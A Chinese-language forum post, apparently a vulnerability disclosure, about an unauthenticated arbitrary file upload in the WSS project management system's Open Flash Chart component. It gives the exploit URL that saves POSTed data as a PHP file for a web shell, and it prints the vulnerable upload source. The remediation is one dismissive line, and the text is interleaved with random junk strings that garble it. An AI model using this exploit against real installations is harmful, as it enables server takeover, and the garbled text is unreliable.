WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
漏洞文件/chart/php-ofc-library/ofc_upload_image.php

利用：
: b, s; p& @* s* u3 S8 Z/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名

Post任意数据
" x* ~, Q9 k  Z3 O保存位置http://localhost/chart/tmp-upload-images/hfy.php
, @6 W* w( m% O

) Z, x' R% _" O最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~
5 M* x6 B$ v; d5 C
<?php
# [0 \& A( p, l
8 a# p. Z6 t5 b//
// In Open Flash Chart -> save_image debug mode, you
// will see the 'echo' text in a new window.
//
$ M1 \5 l' Q/ p' M" l% v
3 {; R5 ]' D  g2 q0 G& D- U/*

0 n  M# H) o' I, uprint_r( $_GET );
2 s2 H$ E0 {  R7 d3 hprint_r( $_POST );
print_r( $_FILES );
0 N  t* t8 r3 s$ s+ m* i$ A+ @& V
7 t3 W  U8 H8 t0 [' G. c; ^print_r( $GLOBALS );
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
' Z+ H% R1 a: Z1 m  L% j
$ ?( S/ F: m, a" h" X  q*/
4 A1 u# b9 b. r/ X9 x  o# ]7 ?# p// default path for the image to be stored //
$default_path = '../tmp-upload-images/';

; _- T- @0 f- Y3 o% tif (!file_exists($default_path)) mkdir($default_path, 0777, true);

// full path to the saved image including filename //
$destination = $default_path . basename( $_GET[ 'name' ] );
, e$ A7 H* c0 S- r8 n1 }
echo 'Saving your image to: '. $destination;
// print_r( $_POST );
+ R/ X! d) y: A// print_r( $_SERVER );
// echo $HTTP_RAW_POST_DATA;

9 M3 Q; ?7 N# @. P//
// POST data is usually string data, but we are passing a RAW .png
// so PHP is a bit confused and $_POST is empty. But it has saved
// the raw bits into $HTTP_RAW_POST_DATA
//
" W' T! A4 ~. Y, x; m3 v/ M
! A6 n0 B' k4 s  a- T$jfh = fopen($destination, 'w') or die("can't open file");
+ F( m4 B3 ~0 ifwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);
/ h& k5 c0 c( ?
$ m9 P( E" T2 |" V/ M. I: u//
  G  M( P' a$ u, R/ `7 H7 a// LOOK:
3 P9 d8 y6 N6 F; ~1 M//
! R3 V6 c8 m: ~4 C  i3 `8 F9 `- S) _exit();
% x; g4 C  K( G//
// PHP5:
5 L% i# N. S" \. s1 C//


, v3 p2 u; d5 O6 \! i% c* w5 {$ a) L// default path for the image to be stored //
$ e/ i" [4 x  h4 }0 D& `. q, k1 ]$default_path = 'tmp-upload-images/';

1 y( r9 i$ ^4 w$ _# L) {, g7 xif (!file_exists($default_path)) mkdir($default_path, 0777, true);

1 ~& \, \5 k. S; x" ~/ N+ d& }// full path to the saved image including filename //
; d3 H5 t. p7 r2 ~  H1 Y/ Y5 u$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );

$ z% K3 t7 G% z8 g// move the image into the specified directory //
; v; i- F3 J  e9 K7 p+ Aif (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
} else {
1 Q* O3 |0 S) M* D3 P# b    echo "FILE UPLOAD FAILED";
0 L$ M$ ?3 a2 [& c! q9 e- A0 Y}
; H# H7 m, i; m/ K8 Y

?>


& y3 `  A. X( f/ ?. i1 i7 x9 J5 J" U
& ^% m4 H& J2 N( D" _

+ C) z5 u: T0 g" y; L- y  i) Q
修复方案：
% W4 s2 J5 }& f* a这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞

7 I; y# E( D4 i1 u6 d


1 z0 {; r( w7 }